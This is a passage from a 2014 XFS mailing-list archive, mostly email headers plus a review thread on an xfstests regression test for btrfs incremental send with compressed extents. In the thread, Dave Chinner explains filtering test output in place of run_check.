--047d7b873f16b76d4804f2902dd3-- From fdmanana@gmail.com Sun Feb 16 19:40:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AB0DA7F72 for ; Sun, 16 Feb 2014 19:40:08 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 26997AC06B for ; Sun, 16 Feb 2014 17:40:08 -0800 (PST) X-ASG-Debug-ID: 1392601204-04bdf00fc365440001-NocioJ Received: from mail-bk0-f50.google.com (mail-bk0-f50.google.com [209.85.214.50]) by cuda.sgi.com with ESMTP id YZummPUFcRoEX4jU (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Feb 2014 17:40:05 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.50 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.50] Received: by mail-bk0-f50.google.com with SMTP id d7so741543bkh.37 for ; Sun, 16 Feb 2014 17:40:04 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.50] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.50] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=zMeCvcHjPb3w5d6a8x9J8jQzult8JHhTWn4id5iaxJs=; b=nhc7WZsImP3PoggR+G6TlgTdknatDtuUNE0ylqfOMSSgSj4ke3Y3coddQ5CKi8bBT1 VcXiwuBzfH7cAnhKRPD1Fg3wPRlsMwO+dgJf754RFO6qwE6dCERm5lWj9zur8LvO/JHU utulAWDq+ouRO0FF4Nk1jOfJd2i4p5O6zZAbRmSjEiNbG72L7kns1EsQPvigpLnweMe2 OByDigdZJ4ZsIAO1DQo0XHz73GY4WnSAyDK8naL/W0YljFsqkJ8Woo78kyk+lrVSmc/5 L/ha6ytfUppdGWnfN7b1Rn7W0S6m42Q6cZW8AESvk3Lv/ToxBykmhL9gkKaoxyz6OQcc bxQw== MIME-Version: 1.0 X-Received: by 10.204.2.133 with SMTP id 5mr72654bkj.78.1392601204403; Sun, 16 Feb 2014 17:40:04 -0800 (PST) Received: by 10.204.69.197 with HTTP; Sun, 16 Feb 2014 17:40:04 -0800 (PST) Reply-To: fdmanana@gmail.com In-Reply-To: <20140217011714.GZ13997@dastard> References: <1392408522-764-1-git-send-email-fdmanana@gmail.com> <1392478573-4513-1-git-send-email-fdmanana@gmail.com> <20140216230851.GX13647@dastard> <20140217011714.GZ13997@dastard> Date: Mon, 17 Feb 2014 01:40:04 +0000 Message-ID: Subject: Re: [PATCH v2] xfstests: add regression test for btrfs incremental send From: Filipe David Manana X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add regression test for btrfs incremental send To: Dave Chinner Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-bk0-f50.google.com[209.85.214.50] X-Barracuda-Start-Time: 1392601205 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145192 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Feb 17, 2014 at 1:17 AM, Dave Chinner wrote: > On Sun, Feb 16, 2014 at 11:43:17PM +0000, Filipe David Manana wrote: >> On Sun, Feb 16, 2014 at 11:08 PM, Dave Chinner wrote: >> > On Sat, Feb 15, 2014 at 03:36:13PM +0000, Filipe David Borba Manana wrote: >> >> Test for a btrfs incremental send issue where we end up sending a >> >> wrong section of data from a file extent if the corresponding file >> >> extent is compressed and the respective file extent item has a non >> >> zero data offset. >> >> >> >> Fixed by the following linux kernel btrfs patch: >> >> >> >> Btrfs: use right clone root offset for compressed extents >> >> >> >> Signed-off-by: Filipe David Borba Manana >> >> --- >> >> >> >> V2: Made the test more reliable. Now it doesn't depend anymore of btrfs' >> >> hole punch implementation leaving hole file extent items when we punch >> >> beyond the file's current size. >> >> >> >> tests/btrfs/040 | 115 +++++++++++++++++++++++++++++++++++++++++++++++++++ >> >> tests/btrfs/040.out | 1 + >> >> tests/btrfs/group | 1 + >> >> 3 files changed, 117 insertions(+) >> >> create mode 100755 tests/btrfs/040 >> >> create mode 100644 tests/btrfs/040.out >> >> >> >> diff --git a/tests/btrfs/040 b/tests/btrfs/040 >> >> new file mode 100755 >> >> index 0000000..d6b37bf >> >> --- /dev/null >> >> +++ b/tests/btrfs/040 >> >> @@ -0,0 +1,115 @@ >> >> +#! /bin/bash >> >> +# FS QA Test No. btrfs/040 >> >> +# >> >> +# Test for a btrfs incremental send issue where we end up sending a >> >> +# wrong section of data from a file extent if the corresponding file >> >> +# extent is compressed and the respective file extent item has a non >> >> +# zero data offset. >> >> +# >> >> +# Fixed by the following linux kernel btrfs patch: >> >> +# >> >> +# Btrfs: use right clone root offset for compressed extents >> >> +# >> >> +#----------------------------------------------------------------------- >> >> +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. >> >> +# >> >> +# This program is free software; you can redistribute it and/or >> >> +# modify it under the terms of the GNU General Public License as >> >> +# published by the Free Software Foundation. >> >> +# >> >> +# This program is distributed in the hope that it would be useful, >> >> +# but WITHOUT ANY WARRANTY; without even the implied warranty of >> >> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the >> >> +# GNU General Public License for more details. >> >> +# >> >> +# You should have received a copy of the GNU General Public License >> >> +# along with this program; if not, write the Free Software Foundation, >> >> +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA >> >> +#----------------------------------------------------------------------- >> >> +# >> >> + >> >> +seq=`basename $0` >> >> +seqres=$RESULT_DIR/$seq >> >> +echo "QA output created by $seq" >> >> + >> >> +here=`pwd` >> >> +tmp=`mktemp -d` >> >> +status=1 # failure is the default! >> >> +trap "_cleanup; exit \$status" 0 1 2 3 15 >> >> + >> >> +_cleanup() >> >> +{ >> >> + rm -fr $tmp >> >> +} >> >> + >> >> +# get standard environment, filters and checks >> >> +. ./common/rc >> >> +. ./common/filter >> >> + >> >> +# real QA test starts here >> >> +_supported_fs btrfs >> >> +_supported_os Linux >> >> +_require_scratch >> >> +_need_to_be_root >> >> + >> >> +FSSUM_PROG=$here/src/fssum >> >> +[ -x $FSSUM_PROG ] || _notrun "fssum not built" >> >> + >> >> +rm -f $seqres.full >> >> + >> >> +_scratch_mkfs >/dev/null 2>&1 >> >> +_scratch_mount "-o compress-force=lzo" >> >> + >> >> +run_check $XFS_IO_PROG -f -c "truncate 118811" $SCRATCH_MNT/foo >> >> +run_check $XFS_IO_PROG -c "pwrite -S 0x0d -b 39987 92267 39987" \ >> >> + $SCRATCH_MNT/foo >> > >> > Ugh. filter the output, don't use run_check. >> > >> > $XFS_IO_PROG -f -c "truncate 118811" $SCRATCH_MNT/foo >> > $XFS_IO_PROG -c "pwrite -S 0x0d -b 39987 92267 39987" \ >> > $SCRATCH_MNT/foo | _filter_xfs_io >> > >> > If something fails, we still want the test to continue running, even >> > if all it does is exercise error handling paths. run_check simply >> > terminates the test at the first failure. >> >> What's the point of continuing? The test will fail anyway, all of the >> xfs_io calls are necessary to trigger the bug. > > Users don't stop doing doing stuff on a filesystem when a single > failure occurs, so why should the tests? If you stop the moment a > single failure occurs then you aren't ever going to stress the error > handling paths, are you? > >> > _run_btrfs_util_prog() >> > { >> > run_check $BTRFS_UTIL_PROG $* >> > } >> > >> > would be a good start because it gets that run_check pattern out of >> > the main test scripts and hence out of the heads of test writers. >> >> Well, will get rid of those run_check calls, but that will imply >> adding some | _filter_scratch in many places. So shortening lines is >> not a great argument :) > > I'm not talking about shortening lines here. I'm talking about the > correct principles and conceptsi being in the forefront of a test > writer's mind. Having the concept of "need to filter the output" in > the head of test writers is *exactly* the right mindset to have. > > Indeed, if you have a block of code that needs common filtering, > that's easy to do: > > do_test() > { > # put test in function > } > > do_test | _filter_scratch > > Will apply that filter to the entire output of the test, and so > you don't need it on every command. > > Remember - an xfstest is not a "pass/fail" test. It's a "run this > set of commands, and then check the entire output matches the known > good output" test. i.e. we are testing the entire set of commands as > a whole - we are not testing each individual command that is run. > It's a very different principle to the "test every command that can > fail" method of writing tests. > > _fail should only be used if the test cannot possibly be continued > (e.g. scratch filesystem corrupted and cannot be mounted). If one > of the early commands fails, then that's fine - the test will fail - > but we still want to run the other commands if we can so as to get > the best test coverage we can get even on failed tests. Ok, thanks for the very detailed explanation, very helpful :) > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Filipe David Manana, "Reasonable men adapt themselves to the world. Unreasonable men adapt the world to themselves. That's why all progress depends on unreasonable men." From fdmanana@gmail.com Sun Feb 16 19:42:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 448547F75 for ; Sun, 16 Feb 2014 19:42:57 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0B26C304043 for ; Sun, 16 Feb 2014 17:42:56 -0800 (PST) X-ASG-Debug-ID: 1392601374-04bdf00fc965640001-NocioJ Received: from mail-bk0-f41.google.com (mail-bk0-f41.google.com [209.85.214.41]) by cuda.sgi.com with ESMTP id hEOlg6ERrK6UKjac (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Feb 2014 17:42:55 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.41 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.41] Received: by mail-bk0-f41.google.com with SMTP id na10so3992146bkb.14 for ; Sun, 16 Feb 2014 17:42:53 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.41] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.41] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=X8AnFWULOZPv6BMdulxAKNu9BaAOdcDZFCp8OXcSwtE=; b=Irqb81tK5IzueenbfIbg8+W5M7i9j6dOr4oriXlGrbrf+x7gSRMCDKYWT0rcCJdwrg 7cDsP1bOL+5Wq/NG7Zf+LuK4zTZbPpumJinKlGlNifZ00qJmqBzTxTCuUgRwlmXet2zM yssiEeadtGfKLSvcSfBBfTN5nN5pw116RVWa86CAnmrnNc8WzFluZTecGvxTkVjPFCUw VFXLH1XOPd+cuJN0d9dHs5h3SH5q7SQs6HlapbpJ+s5keztq5bwa/kiES2wM5GHK30bG V4V7JJhfa1WgnrDcBdhbTxu/Imyifu5f/CuXsG9BfIoRbU+0wQbRT1KHlhr2XRlF1hP0 6q6w== MIME-Version: 1.0 X-Received: by 10.205.64.68 with SMTP id xh4mr45515bkb.119.1392601373626; Sun, 16 Feb 2014 17:42:53 -0800 (PST) Received: by 10.204.69.197 with HTTP; Sun, 16 Feb 2014 17:42:53 -0800 (PST) Reply-To: fdmanana@gmail.com In-Reply-To: <20140217011929.GA13997@dastard> References: <1392408522-764-1-git-send-email-fdmanana@gmail.com> <1392596438-6509-1-git-send-email-fdmanana@gmail.com> <20140217011929.GA13997@dastard> Date: Mon, 17 Feb 2014 01:42:53 +0000 Message-ID: Subject: Re: [PATCH v3] xfstests: add regression test for btrfs incremental send From: Filipe David Manana X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: add regression test for btrfs incremental send To: Dave Chinner Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-bk0-f41.google.com[209.85.214.41] X-Barracuda-Start-Time: 1392601374 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145192 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Feb 17, 2014 at 1:19 AM, Dave Chinner wrote: > On Mon, Feb 17, 2014 at 12:20:38AM +0000, Filipe David Borba Manana wrote: >> Test for a btrfs incremental send issue where we end up sending a >> wrong section of data from a file extent if the corresponding file >> extent is compressed and the respective file extent item has a non >> zero data offset. >> >> Fixed by the following linux kernel btrfs patch: >> >> Btrfs: use right clone root offset for compressed extents >> >> Signed-off-by: Filipe David Borba Manana >> --- >> >> V2: Made the test more reliable. Now it doesn't depend anymore of btrfs' >> hole punch implementation leaving hole file extent items when we punch >> beyond the file's current size. >> V3: Filter xfs_io output and make less use of the run_check function, as >> suggested by Dave Chinner. > > Awesome. Thanks for the quick turn around. > >> common/rc | 5 +++ >> tests/btrfs/040 | 119 +++++++++++++++++++++++++++++++++++++++++++++++++++ >> tests/btrfs/040.out | 9 ++++ >> tests/btrfs/group | 1 + >> 4 files changed, 134 insertions(+) >> create mode 100755 tests/btrfs/040 >> create mode 100644 tests/btrfs/040.out >> >> diff --git a/common/rc b/common/rc >> index e91568b..27be009 100644 >> --- a/common/rc >> +++ b/common/rc >> @@ -2207,6 +2207,11 @@ run_check() >> "$@" >> $seqres.full 2>&1 || _fail "failed: '$@'" >> } >> >> +_run_btrfs_util_prog() >> +{ >> + run_check $BTRFS_UTIL_PROG $* >> +} > > Can you do a cleanup of all the other btrfs tests that can use this? I just did that for all the non-merged test cases (4 including this one), as you probably have noticed already by now. I'll see if I can do the same for the ones already in the git repository soon. thanks > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Filipe David Manana, "Reasonable men adapt themselves to the world. Unreasonable men adapt the world to themselves. That's why all progress depends on unreasonable men." From david@fromorbit.com Sun Feb 16 19:44:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A38647F76 for ; Sun, 16 Feb 2014 19:44:26 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 858C3304043 for ; Sun, 16 Feb 2014 17:44:26 -0800 (PST) X-ASG-Debug-ID: 1392601464-04cb6c06cf1868d0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id btKwBsCqRJWFne80 for ; Sun, 16 Feb 2014 17:44:24 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoQJAPVoAVN5LJYe/2dsb2JhbABYgwaDP7c5hVCBDxd0giUBAQQBOhwjBQsIAxgJJQ8FDRgDIROHcQMJB8IzDYgPFxaMUYIaB4MkgRQElkCBa4xfhUWDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 17 Feb 2014 12:14:20 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFDFo-00048G-6O; Mon, 17 Feb 2014 12:44:16 +1100 Date: Mon, 17 Feb 2014 12:44:16 +1100 From: Dave Chinner To: Filipe David Manana Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Subject: Re: [PATCH] xfstests: add regression test for btrfs incremental send Message-ID: <20140217014416.GB13997@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: add regression test for btrfs incremental send References: <1392408522-764-1-git-send-email-fdmanana@gmail.com> <1392596438-6509-1-git-send-email-fdmanana@gmail.com> <20140217011929.GA13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1392601464 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145192 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 17, 2014 at 01:36:02AM +0000, Filipe David Manana wrote: > On Monday, February 17, 2014, Dave Chinner wrote: > > > On Mon, Feb 17, 2014 at 12:20:38AM +0000, Filipe David Borba Manana wrote: > > > Test for a btrfs incremental send issue where we end up sending a > > > wrong section of data from a file extent if the corresponding file > > > extent is compressed and the respective file extent item has a non > > > zero data offset. > > > > > > Fixed by the following linux kernel btrfs patch: > > > > > > Btrfs: use right clone root offset for compressed extents > > > > > > Signed-off-by: Filipe David Borba Manana > > > > > > --- > > > > > > V2: Made the test more reliable. Now it doesn't depend anymore of btrfs' > > > hole punch implementation leaving hole file extent items when we > > punch > > > beyond the file's current size. > > > V3: Filter xfs_io output and make less use of the run_check function, as > > > suggested by Dave Chinner. > > > > Awesome. Thanks for the quick turn around. > > > > > common/rc | 5 +++ > > > tests/btrfs/040 | 119 > > +++++++++++++++++++++++++++++++++++++++++++++++++++ > > > tests/btrfs/040.out | 9 ++++ > > > tests/btrfs/group | 1 + > > > 4 files changed, 134 insertions(+) > > > create mode 100755 tests/btrfs/040 > > > create mode 100644 tests/btrfs/040.out > > > > > > diff --git a/common/rc b/common/rc > > > index e91568b..27be009 100644 > > > --- a/common/rc > > > +++ b/common/rc > > > @@ -2207,6 +2207,11 @@ run_check() > > > "$@" >> $seqres.full 2>&1 || _fail "failed: '$@'" > > > } > > > > > > +_run_btrfs_util_prog() > > > +{ > > > + run_check $BTRFS_UTIL_PROG $* > > > +} > > > > Can you do a cleanup of all the other btrfs tests that can use this? > > > Ok. I just did that for all the test cases not yet merged, as you probably > noticed already. Yes, I did ;) > For the ones already in the repository, I'll see if I can do it soon this > coming week. Great! Thanks for doing this. Cheers, Dave. -- Dave Chinner david@fromorbit.com From stan@hardwarefreak.com Sun Feb 16 19:53:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 11CE67F75 for ; Sun, 16 Feb 2014 19:53:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 93D01AC06E for ; Sun, 16 Feb 2014 17:53:08 -0800 (PST) X-ASG-Debug-ID: 1392601987-04bdf00fc065d30001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id TmWmq5iVcowJgJPW for ; Sun, 16 Feb 2014 17:53:07 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id C8A296C106; Sun, 16 Feb 2014 19:53:06 -0600 (CST) Message-ID: <53016B83.1050406@hardwarefreak.com> Date: Sun, 16 Feb 2014 19:53:07 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , Bill Webster CC: xfs@oss.sgi.com Subject: Re: Volume fine on x86_64, corruption on ARM References: <20140216222153.GV13647@dastard> X-ASG-Orig-Subj: Re: Volume fine on x86_64, corruption on ARM In-Reply-To: <20140216222153.GV13647@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1392601987 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/16/2014 4:21 PM, Dave Chinner wrote: > On Fri, Feb 14, 2014 at 08:18:45PM -0700, Bill Webster wrote: >> Has this issue been resolved? > > You need to be more specific abou tthe problem you are having than > the subject line.... > > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F Bill seems to be replying to this thread from January 2013, apparently assuming everyone would remember it simply by the subject line. First post of the thread: http://oss.sgi.com/archives/xfs/2013-01/msg00494.html Bill, in the future please reference the archived thread link, as I've done here, so people know what you're talking about without them having to dig through the archives. Thanks, Stan From david@fromorbit.com Sun Feb 16 19:58:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3D0CD7F76 for ; Sun, 16 Feb 2014 19:58:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A2B14AC06E for ; Sun, 16 Feb 2014 17:58:02 -0800 (PST) X-ASG-Debug-ID: 1392602280-04cb6c6de049c110001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id M1BJ8VI2IvJW8DSs for ; Sun, 16 Feb 2014 17:58:00 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoMJAHRrAVN5LJYe/2dsb2JhbABYgwaDP7c5hVCBDxd0giUBAQU6HCMQCAMYCSUPBSUDIROIBMpQFxaOaweDJIEUBJgrkiSDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 17 Feb 2014 12:27:59 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFDT3-0004AH-2J; Mon, 17 Feb 2014 12:57:57 +1100 Date: Mon, 17 Feb 2014 12:57:57 +1100 From: Dave Chinner To: Koen De Wit Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH v3] xfstests: Btrfs: add test for large metadata blocks Message-ID: <20140217015757.GC13997@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: Btrfs: add test for large metadata blocks References: <1392068362-14049-1-git-send-email-koen.de.wit@oracle.com> <20140210220400.GV13647@dastard> <52FA7374.2000209@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FA7374.2000209@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1392602280 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145193 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 11, 2014 at 08:01:08PM +0100, Koen De Wit wrote: > On 02/10/2014 11:04 PM, Dave Chinner wrote: > >On Mon, Feb 10, 2014 at 10:39:22PM +0100, Koen De Wit wrote: > >>+ > >>+_test_illegal_leafsize() { > >>+ _scratch_mkfs -l $1 >>$seqres.full 2>&1 > >>+ [ $? -ne 0 ] || _fail "'$1' is an illegal value for the" \ > >>+ "leafsize option, mkfs should have failed." > >>+} > >You just re-implemented run_check.... > > I believe I didn't : > > run_check() > { > echo "# $@" >> $seqres.full 2>&1 > "$@" >> $seqres.full 2>&1 || _fail "failed: '$@'" > } > > run_check() takes an arbitrary command and executes it, > _test_illegal_leafsize() takes a leafsize as parameter and tries > mkfs.btrfs with that leafsize. run_check() makes the test fail if > the return code is not zero, _test_illegal_leafsize() does the > opposite. Which points out the madness of trying to determine pass/fail by return codes. See how easy it is to get wrong when reading the test code? So, this tends to point towards writing a proper mkfs filter for btrfs that anonymizes the output so that the golden output can do the checking without having to care about return values. That's what we do for XFS (see _filter_mkfs), and i'd suggest that this is the correct thing to do for btrfs as well. Then you can stop having to check the return value of mkfs.btrfs.... i.e. factor _filter_mkfs into _filter_mkfs_xfs() and _filter_mkfs_btrfs() and implement the necessary filtering in _filter_mkfs_btrfs. Yes, it's a bit of a pain to do in the first place, but once the filter is in place it will capture any future unintended modifications to mkfs output and make people modifying mkfs.btrfs think about what they are actually doing when they break the filter. Indeed, we've been modifying the output of mkfs.xfs for years (every new feature changes the mkfs output) and we've been able to do in a way that doesn't break the filtering..... Cheers, Dave. -- Dave Chinner david@fromorbit.com From stanislovas.bub@gmail.com Mon Feb 17 00:26:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=5.0 tests=DEAR_SOMETHING,FREEMAIL_FROM, HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 319E07F84 for ; Mon, 17 Feb 2014 00:26:50 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A10FBAC002 for ; Sun, 16 Feb 2014 22:26:49 -0800 (PST) X-ASG-Debug-ID: 1392618407-04cbb00c2a4a2f20001-NocioJ Received: from mail-qa0-f66.google.com (mail-qa0-f66.google.com [209.85.216.66]) by cuda.sgi.com with ESMTP id PiAcL4tPeckHLmgO (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Feb 2014 22:26:48 -0800 (PST) X-Barracuda-Envelope-From: stanislovas.bub@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.66 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.66] Received: by mail-qa0-f66.google.com with SMTP id f11so7240801qae.5 for ; Sun, 16 Feb 2014 22:26:47 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.66] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.66] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=HL/NFcO7JmPttHvP5N5LImRjSjdgB8El2jgOgzxxMyQ=; b=ZIMY/F6ewvVD75/WiVS8heqaOktoJmgQjfVVt/WGNNi1Foge76u8ZiFua9OjRh/HZx YOuw3ocRJNi/Y52pa9ROLFqPEw8GORLrpPKMyp4J0P61Ffl3Dg/gFe0jl57b00BlKT+T 